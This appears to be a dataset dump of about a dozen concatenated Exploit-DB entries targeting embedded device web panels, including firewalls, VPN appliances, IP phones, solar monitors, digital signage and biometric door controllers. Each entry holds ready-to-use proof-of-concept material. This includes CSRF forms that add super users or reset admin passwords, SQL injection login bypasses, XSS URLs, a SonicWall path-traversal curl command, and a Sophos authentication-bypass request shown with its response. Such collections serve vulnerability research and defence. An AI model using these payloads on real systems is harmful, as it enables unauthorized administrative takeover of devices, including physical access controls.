deardaniel/secdata-raw huggingface dataset:
Exploit-DB #48554
Description: SnapGear Management Console SG560 3.1.5 - Cross-Site Request Forgery (Add Super User)
Type: webapps
Platform: hardware
Date: 2020-06-04
Author: LiquidWorm

Exploit:
# Title: SnapGear Management Console SG560 3.1.5 - Cross-Site Request Forgery (Add Super User)
# Author: LiquidWorm
# Date: 2020-06-04
# Vendor: http://www.securecomputing.com
# CVE:  N/A

Secure Computing SnapGear Management Console SG560 v3.1.5 CSRF Add Super User


Vendor: Secure Computing Corp.
Product web page: http://www.securecomputing.com
Affected version: 3.1.5u1

Summary: The SG gateway appliance range provides Internet security and
privacy of communications for small and medium enterprises, and branch 
offices. It simply and securely connects your office to the Internet,
and with its robust stateful firewall, shields your computers from
external threats.

Desc: The application interface allows users to perform certain actions
via HTTP requests without performing any validity checks to verify the
requests. This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site.

Tested on: fnord/1.9
           Apache 1.3.27 (Unix)
           Linux 2.4.31


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5567
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5567.php


14.05.2020

--


CSRF Add Super User:
--------------------

<html>
  <body>
    <form action="http://10.0.2.2/cgi-bin/cgix/adminusers" method="POST">
      <input type="hidden" name=".form" value="edit" />
      <input type="hidden" name=".page" value="adminusers_edit" />
      <input type="hidden" name="login" value="testingus" />
      <input type="hidden" name="fullname" value="ZSL" />
      <input type="hidden" name="password" value="123456" />
      <input type="hidden" name="confirm" value="123456" />
      <input type="hidden" name="acl.login" value="on" />
      <input type="hidden" name="acl.admin" value="on" />
      <input type="hidden" name="acl.diags" value="on" />
      <input type="hidden" name="acl.saverestore" value="on" />
      <input type="hidden" name="acl.setpassword" value="on" />
      <input type="hidden" name="finish" value="Finish" />
      <input type="hidden" name=".defaultname" value="finish" />
      <input type="submit" value="Idemo" />
    </form>
  </body>
</html>

Result /etc/shadow:

root:$1$YC$T/M8HLRXxKKPVEO7SU.02/:0:0:Super User:/:/bin/sh
sshd:!!:100:65534::/home:/bin/false
clamav:!!:103:65534::/home:/bin/false
testingus:$1$Xy$bxdLgsRlXHoMjEcMKqVq/.:104:104:ZSL:/home:/bin/sh
Exploit-DB #18517
Description: Snom IP Phone - Privilege Escalation
Type: webapps
Platform: hardware
Date: 2012-02-23
Author: Sense of Security

Exploit:
Sense of Security - Security Advisory - SOS-12-001

Release Date.              23-Feb-2012
Last Update.               -              
Vendor Notification Date.  27-Jan-2012
Product.                   Snom IP Phone series
Platform.                  Hardware
Affected versions.         All versions prior to v8.4.35
Severity Rating.           High 
Impact.                    Privilege escalation
Attack Vector.             Remote without authentication
Solution Status.           Vendor patch
CVE reference.             CVE - not yet assigned

Details.
The privilege escalation is possible because the form used to
login as the admin user is the same form for resetting the
admin password, and the user is not required to enter their
old password when changing their password. This form is also
vulnerable to Cross-Site Request Forgery (CSRF).

This issue is exploitable on the following pages:
Version 7, 8: http://x.x.x.x/advanced_network.htm
Version 6 and below: http://x.x.x.x/advanced.htm

Where an attacker can reset the Administrator password by
removing all password attempt variables and adding the
following POST data:

admin_mode=on
admin_mode_[CREDENTIAL_REDACTED]
admin_mode_password_confirm=newpass
Settings=Save
hidden_tag=(leave as the current post variable if CSRF
protection is enabled in firmware versions 7.1.33 and above)

After sending the request the attacker can now login as the
Administrator with the credentials specified in the above
request. 

Proof of Concept.
<?php echo htmlentities('<html>
<head></head>
<body onLoad=javascript:document.form.submit()>
<form action=" http://x.x.x.x/advanced_network.htm" name="form"
method="POST">
<input type="text" name="admin_mode" value="on">
<input type="text" name="admin_mode_password" value="newpass">
<input type="text" name="admin_mode_password_confirm" value="newpass">
<input type="text" name="Settings" value="save">
</form>
</body><br>
</html>'); ?>

Solution.
Download the latest firmware version 8.4.35 for the Snom phone from:
http://wiki.snom.com/Firmware

Discovered by.
Nathaniel Carew from Sense of Security Labs.

About us.
Sense of Security is a leading provider of information security and
risk management solutions. Our team has expert skills in assessment 
and assurance, strategy and architecture, and deployment through to
ongoing management. We are Australia's premier application penetration
testing firm and trusted IT security advisor to many of the country's
largest organisations.

Sense of Security Pty Ltd 
Level 8, 66 King St
Sydney NSW 2000
AUSTRALIA

T: +61 (0)2 9290 4444      
F: +61 (0)2 9290 4455
W: http://www.senseofsecurity.com.au
E: info@senseofsecurity.com.au
Twitter: @ITsecurityAU

The latest version of this advisory can be found at:
http://www.senseofsecurity.com.au/advisories/SOS-12-001.pdf

Other Sense of Security advisories can be found at:
http://www.senseofsecurity.com.au/research/it-security-advisories.php
Exploit-DB #17215
Description: Snom IP Phone Web Interface < 8 - Multiple Vulnerabilities
Type: webapps
Platform: hardware
Date: 2011-04-26
Author: Yakir Wizman

Exploit:
#     _             ____  __            __    ___ 
#    (_)____ _   __/ __ \/ /_____  ____/ /  _/_/ |
#   / // __ \ | / / / / / //_/ _ \/ __  /  / / / /
#  / // / / / |/ / /_/ / ,< /  __/ /_/ /  / / / / 
# /_//_/ /_/|___/\____/_/|_|\___/\__,_/  / /_/_/  
#                   Live by the byte     |_/_/  
#
# Members:
#
# Pr0T3cT10n
# -=M.o.B.=-
# TheLeader
# Sro
# Debug
#
# Contact: inv0ked.israel@gmail.com
#
# -----------------------------------
# Snom IP Phone is vulnerable for a xss bug and for data disclosure, the following will explain you how to read the password and use the xss bug.
# The vulnerabilities allows an unprivileged attacker to read the sip details including password & write javascript code.
# The vulnerablities are in:
# * XSS - Address Book: http://127.0.0.1/adr.htm
# * DATA DISCLOSURE - Password disclosure: http://127.0.0.1/line_login.htm?l=1
#-----------------------------------
# Vulnerability Title: Snom IP Phone Web Interface Multiple Vulnerabilities
# Date: 25/04/2011
# Author: Pr0T3cT10n
# Website Link: http://www.snom.com
# Tested on Version: 300 / 360
# ISRAEL
###
###### NOTE: The snom ip phone software is also vulnerability for unauthorized person to access the web interface.
###### It happen because there is no password thats protects the interface.
## XSS Vulnerability:
# The xss vulnerability found in the section 'Addres Book' of 'Snom IP Phone' software.
# The vulnerability allows the attacker to inject javascript code to the field 'number'.
# To exploit the vulnerability we need to access to the 'Snom IP Phone' by this url 'http://address/adr.htm'.
# Then we can write any javascript code that we want and send the form. by the next refreshing of the page the javascript code will run.
# If we already inject the javascript code so we can also be exploited by the next page 'http://address/tbook.csv'.
##
## DATA DISCLOSURE:
# The data disclosure vulnerability found in the section of 'Line 1' of 'Snom IP Phone' software.
# The vulnerability allows the attacker to disclosure the password of the username for the phone line that connected.
# To exploit the vulnerability and dicluse the data we need to access to the 'Snom IP Phone' by this url 'http://address/line_login.htm?l=1'.
# Then we can see in the source code by the field 'user_pass1' and then we see the magic! thats is the password for the username by the sip server.
# Now if we already have the sip server, username and password so we can connect to it with any softphone and make our calls.
##
# Yours, Pr0T3cT10n.
Exploit-DB #42408
Description: SOL.Connect ISET-mpp meter 1.2.4.2 - SQL Injection
Type: webapps
Platform: hardware
Date: 2017-08-01
Author: Andy Tan

Exploit:
Vulnerability type: 
SQL injection, leading to administrative access through authentication bypass.

-----------------------------------
Product: SOL.Connect ISET-mpp meter
-----------------------------------
Affected version: SOL.Connect ISET-mpp meter 1.2.4.2 and possibly earlier

Vulnerable parameter: user
------------------------
Credit: Andy Tan
------------------------
CVE ID: CVE-2017-11494
------------------------

================
Proof of Concept
================
HTTP Request:
POST /_45b4a69e249c1d0ab9772763f3c97e69_/?s=login&o=/_45b4a69e249c1d0ab977276
3f3c97e69_/%3fs%3dmain HTTP/1.1
Host: <IP-address>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://<IP-address>/_45b4a69e249c1d0ab9772763f3c97e69_/?s=login&o=/_45b4
a69e249c1d0ab9772763f3c97e69_/%3fs%3dmain
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 131

action=submit&origin=%2F_45b4a69e249c1d0ab9772763f3c97e69_%2F%3Fs%3Dmain
&s=login&user=admin%27+or+%271%27%3D%271+--%2B&password=asd

------------------------
Vendor contact timeline:
------------------------
2017-07-20: Contacted vendor. No response.
2017-07-26: Contacted vendor again. No response.
2017-08-01: Public disclosure.
Exploit-DB #51857
Description: Solar-Log 200 PM+ 3.6.0 Build 99 - 15.10.2019 - Stored XSS
Type: webapps
Platform: hardware
Date: 2024-03-05
Author: Vincent McRae_ Mesut Cetin

Exploit:
# Exploit Title: Stored XSS in Solar-Log 200 3.6.0 web panel
# Date: 10-30-23
# Exploit Author: Vincent McRae, Mesut Cetin - Redteamer IT Security
# Vendor Homepage: https://www.solar-log.com/en/
# Version: Solar-Log 200 PM+ 3.6.0 Build 99 - 15.10.2019
# Tested on: Proprietary devices: https://www.solar-log.com/en/support/firmware/
# CVE: CVE-2023-46344

# POC:

1. Go to solar panel
2. Go to configuration -> Smart Energy -> "drag & drop" button.
3. Change "name" to: <xss onmouseenter="alert(document.cookie)"
style=display:block>test</xss>
4. Once you hover over "test", you get XSS -> if a higher privileged
user hovers over it, we can get their cookies.
Exploit-DB #50968
Description: SolarView Compact 6.00 - 'pow' Cross-Site Scripting (XSS)
Type: webapps
Platform: hardware
Date: 2022-06-14
Author: Ahmed Alroky

Exploit:
# Exploit Title: SolarView Compact 6.00 - 'pow' Cross-Site Scripting (XSS)
# Date: 2022-05-15
# Exploit Author: Ahmed Alroky
# Author Company : AIactive
# Version: ver.6.00
# Vendor home page : https://www.contec.com/
# Authentication Required: No
# CVE : CVE-2022-29301
# Tested on: Windows

# Proof Of Concept:
http://IP_ADDRESS/Solar_SlideSub.php?id=4&play=1&pow=sds%22%3E%3Cscript%3Ealert(9)%3C/script%3E%3C%22&bgcolor=green
Exploit-DB #50967
Description: SolarView Compact 6.00 - 'time_begin' Cross-Site Scripting (XSS)
Type: webapps
Platform: hardware
Date: 2022-06-14
Author: Ahmed Alroky

Exploit:
# Exploit Title: SolarView Compact 6.00 - 'time_begin' Cross-Site Scripting (XSS)
# Date: 2022-05-15
# Exploit Author: Ahmed Alroky
# Author Company : AIactive
# Version: ver.6.00
# Vendor home page : https://www.contec.com/
# Authentication Required: No
# CVE : CVE-2022-29299
# Tested on: Windows

# Proof Of Concept:

http://IP_ADDRESS/Solar_History.php?time_begin=xx%22%3E%3Cscript%3Ealert(9)%3C/script%3E%3C%22&time_end=&event_level=0&event_pcs=1&search_on=on&search_off=on&word=hj%27&sort_type=0&record=10&command=%95%5C%8E%A6
Exploit-DB #18122
Description: SonicWALL Aventail SSL-VPN - SQL Injection
Type: webapps
Platform: hardware
Date: 2011-11-16
Author: Asheesh kumar

Exploit:
 ================================================================================
 
                      SonicWALL Aventail  SSL-VPN  SQL Injection Vulnerability
                     ================================================================================
 

#Date- 17/11/11

# code by Asheesh kumar Mani Tripathi
 
     
 
# Credit by Asheesh Anaconda
 
 
 
#Vulnerbility
SonicWALL Aventail  SSL-VPN  is prone to an SQL-injection vulnerability because the application fails to properly 
sanitize user-supplied input before using it in an SQL query.
 
#Impact
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database
 
 
========================================================================================================================
 
                                                           Request
========================================================================================================================
 
https://example.xxx.com/prodpage.cfm?CFID=&CFTOKEN=&CategoryID=[SQL]
Exploit-DB #50430
Description: SonicWall SMA 10.2.1.0-17sv - Password Reset
Type: webapps
Platform: hardware
Date: 2021-10-20
Author: Jacob Baines

Exploit:
# Exploit Title: SonicWall SMA 10.2.1.0-17sv - Password Reset
# Description: Overwrite the persistent database, resulting in password reset on reboot.
# Shodan Dork: https://www.shodan.io/search?query=title%3A%22Virtual+Office%22+%22Server%3A+SonicWall%22
# Date: 10/19/2021
# Exploit Author: Jacob Baines (@Junior_Baines)
# Root Cause Analysis: https://attackerkb.com/topics/23t9VCbGzt/cve-2021-20034/rapid7-analysis?referrer=profile
# Vendor Homepage: https://www.sonicwall.com/
# Version: SMA 100 Series using 9.0.0.10-28sv, 10.2.0.7-34sv, and 10.2.1.0-17sv
# Tested on: SMA 500v using 9.0.0.10-28sv and 10.2.1.0-17sv
# CVE : CVE-2021-20034

curl -v --insecure "https://10.0.0.6/cgi-bin/handleWAFRedirect?hdl=../flash/etc/EasyAccess/var/conf/persist.db"
Exploit-DB #49187
Description: Sony BRAVIA Digital Signage 1.7.8 - System API Information Disclosure
Type: webapps
Platform: hardware
Date: 2020-12-03
Author: LiquidWorm

Exploit:
# Exploit Title: Sony BRAVIA Digital Signage 1.7.8 - System API Information Disclosure
# Date: 20.09.2020
# Exploit Author: LiquidWorm
# Vendor Homepage: https://pro-bravia.sony.net
# Version: 1.7.8

Sony BRAVIA Digital Signage 1.7.8 System API Information Disclosure


Vendor: Sony Electronics Inc.
Product web page: https://pro-bravia.sony.net
                  https://pro-bravia.sony.net/resources/software/bravia-signage/
                  https://pro.sony/ue_US/products/display-software
Affected version: <=1.7.8

Summary: Sony's BRAVIA Signage is an application to deliver
video and still images to Pro BRAVIAs and manage the information
via a network. Features include management of displays, power
schedule management, content playlists, scheduled delivery
management, content interrupt, and more. This cost-effective
digital signage management solution is ideal for presenting
attractive, informative visual content in retail spaces and
hotel reception areas, visitor attractions, educational and
corporate environments.

Desc: The application is vulnerable to sensitive information
disclosure vulnerability. An unauthenticated attacker can
visit several API endpoints and disclose information running
on the device.

Tested on: Microsoft Windows Server 2012 R2
           Ubuntu
           NodeJS
           Express


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5610
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5610.php


20.09.2020

--


$ curl http://192.168.1.20:8080/api/system

{"__v":0,"_id":"5fa1d6ed9446da0b002d678f","version":"1.7.8","contentsServer":{"url":"http://192.168.1.21/joxy/"},"networkInterfaces":{"lo":[{"address":"127.0.0.1","netmask":"255.0.0.0","family":"IPv4","mac":"00:00:00:00:00:00","internal":true}],"eth0":[{"address":"192.168.1.20","netmask":"255.255.255.0","family":"IPv4","mac":"ZE:R0:SC:13:NC:30","internal":false}]},"serverTime":"2020-12-01T20:13:41.069+01:00","os":"Synology","hostIp":"192.168.1.21"}
Exploit-DB #49186
Description: Sony BRAVIA Digital Signage 1.7.8 - Unauthenticated Remote File Inclusion
Type: webapps
Platform: hardware
Date: 2020-12-03
Author: LiquidWorm

Exploit:
# Exploit Title: Sony BRAVIA Digital Signage 1.7.8 - Unauthenticated Remote File Inclusion
# Date: 20.09.2020
# Exploit Author: LiquidWorm
# Vendor Homepage: https://pro-bravia.sony.net
# Version: 1.7.8

Sony BRAVIA Digital Signage 1.7.8 Unauthenticated Remote File Inclusion


Vendor: Sony Electronics Inc.
Product web page: https://pro-bravia.sony.net
                  https://pro-bravia.sony.net/resources/software/bravia-signage/
                  https://pro.sony/ue_US/products/display-software
Affected version: <=1.7.8

Summary: Sony's BRAVIA Signage is an application to deliver
video and still images to Pro BRAVIAs and manage the information
via a network. Features include management of displays, power
schedule management, content playlists, scheduled delivery
management, content interrupt, and more. This cost-effective
digital signage management solution is ideal for presenting
attractive, informative visual content in retail spaces and
hotel reception areas, visitor attractions, educational and
corporate environments.

Desc: BRAVIA digital signage is vulnerable to a remote file
inclusion (RFI) vulnerability by including arbitrary client-side
dynamic scripts (JavaScript, VBScript, HTML) when adding content
though the input URL material of type html. This allows hijacking
the current session of the user, execute cross-site scripting code
or changing the look of the page and content modification on current
display.

Tested on: Microsoft Windows Server 2012 R2
           Ubuntu
           NodeJS
           Express


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5612
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5612.php


20.09.2020

--


Request:
--------

POST /api/content-creation?type=create&id=174ace2f9371b4 HTTP/1.1
Host: 192.168.1.20:8080
Proxy-Connection: keep-alive
Content-Length: 468
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://192.168.1.20:8080
Referer: http://192.168.1.20:8080/test.txt
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: io=RslVZVH6Dc8WsOn5AAAJ

{"material":[{"name":"http://www.zeroscience.mk/pentest/XSS.svg","type":"html"},{"name":"C:\\fakepath\\Blank.jpg","type":"jpeg"},{"name":"","type":"external_input"},{"name":"","type":""}],"layout":{"name":"assets/images/c4e7e66e.icon_layout_pattern_landscape_003.png","area":3,"direction":"landscape","layouts":[{"index":1,"width":960,"height":1080,"x":0,"y":0},{"index":2,"width":960,"height":540,"x":960,"y":0},{"index":3,"width":960,"height":540,"x":960,"y":540}]}}
Exploit-DB #51006
Description: Sophos XG115w Firewall 17.0.10 MR-10 - Authentication Bypass
Type: webapps
Platform: hardware
Date: 2022-09-02
Author: Aryan Chehreghani

Exploit:
# Exploit Title: Sophos XG115w Firewall 17.0.10 MR-10 - Authentication Bypass
# Date: 2022-08-04
# Exploit Author: Aryan Chehreghani
# Vendor Homepage: https://www.sophos.com
# Version: 17.0.10 MR-10
# Tested on: Windows 11
# CVE : CVE-2022-1040

# [ VULNERABILITY DETAILS ] :

#This vulnerability allows an attacker to gain unauthorized access to the firewall management space by bypassing authentication.

# [ SAMPLE REQUEST ] :

POST /webconsole/Controller HTTP/1.1
Host: 127.0.0.1:4444
Cookie: JSESSIONID=c893loesu9tnlvkq53hy1jiq103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: https://127.0.0.1:4444
Referer: https://127.0.0.1:4444/webconsole/webpages/login.jsp
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 192

mode=151&json={"username"%3a"admin","password"%3a"somethingnotpassword","languageid"%3a"1","browser"%3a"Chrome_101","accessaction"%3a1,+"mode\u0000ef"%3a716}&__RequestType=ajax&t=[PII_REDACTED]66

# [ KEY MODE ] : \u0000eb ,\u0000fc , \u0000 ,\u0000ef ,...

# [ Successful response ] :

HTTP/1.1 200 OK
Date: Thu, 04 Aug 2022 17:06:39 GMT
Server: xxxx
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/plain;charset=utf-8
Content-Length: 53
Set-Cookie: JSESSIONID=1jy5ygk6w0mfu1mxbv6n30ptal108;Path=/webconsole;Secure;HttpOnly
Connection: close

{"redirectionURL":"/webpages/index.jsp","status":200}
Exploit-DB #49677
Description: SOYAL Biometric Access Control System 5.0 - 'Change Admin Password' CSRF
Type: webapps
Platform: hardware
Date: 2021-03-19
Author: LiquidWorm

Exploit:
# Exploit Title: SOYAL Biometric Access Control System 5.0 - 'Change Admin Password' CSRF
# Date: 25.01.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.soyal.com.tw https://www.soyal.com

Vendor: SOYAL Technology Co., Ltd
Product web page: https://www.soyal.com.tw | https://www.soyal.com
Affected version: AR-727 i/CM - F/W: 5.0 
                  AR837E/EF   - F/W: 4.3
                  AR725Ev2    - F/W: 4.3 191231
                  AR331/725E  - F/W: 4.2
                  AR837E/EF   - F/W: 4.1
                  AR-727CM /i - F/W: 4.09
                  AR-727CM /i - F/W: 4.06
                  AR-837E     - F/W: 3.03

Summary: Soyal Access systems are built into Raytel Door Entry Systems
and are providing access and lift control to many buildings from public
and private apartment blocks to prestigious public buildings.

Desc: The application interface allows users to perform certain actions
via HTTP requests without performing any validity checks to verify the
requests. This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site.

Tested on: SOYAL Technology WebServer 2.0
           SOYAL Serial Device Server 4.03A 
           SOYAL Serial Device Server 4.01n
           SOYAL Serial Device Server 3.07n


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5632
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5632.php


25.01.2021

--


<html>
  <body>
    <form action="http://192.168.1.1/userset.cgi" method="POST">
      <input type="hidden" name="pw" value="test123" />
      <input type="hidden" name="pw2" value="test123" />
      <input type="submit" value="Forge me!" />
    </form>
  </body>
</html>

...

<html>
  <body>
    <form action="http://192.168.1.2/LoginUser.cgi" method="POST">
      <input type="hidden" name="pw" value="drugtest123" />
      <input type="hidden" name="pw2" value="drugtest123" />
      <input type="submit" value="Forge me!" />
    </form>
  </body>
</html>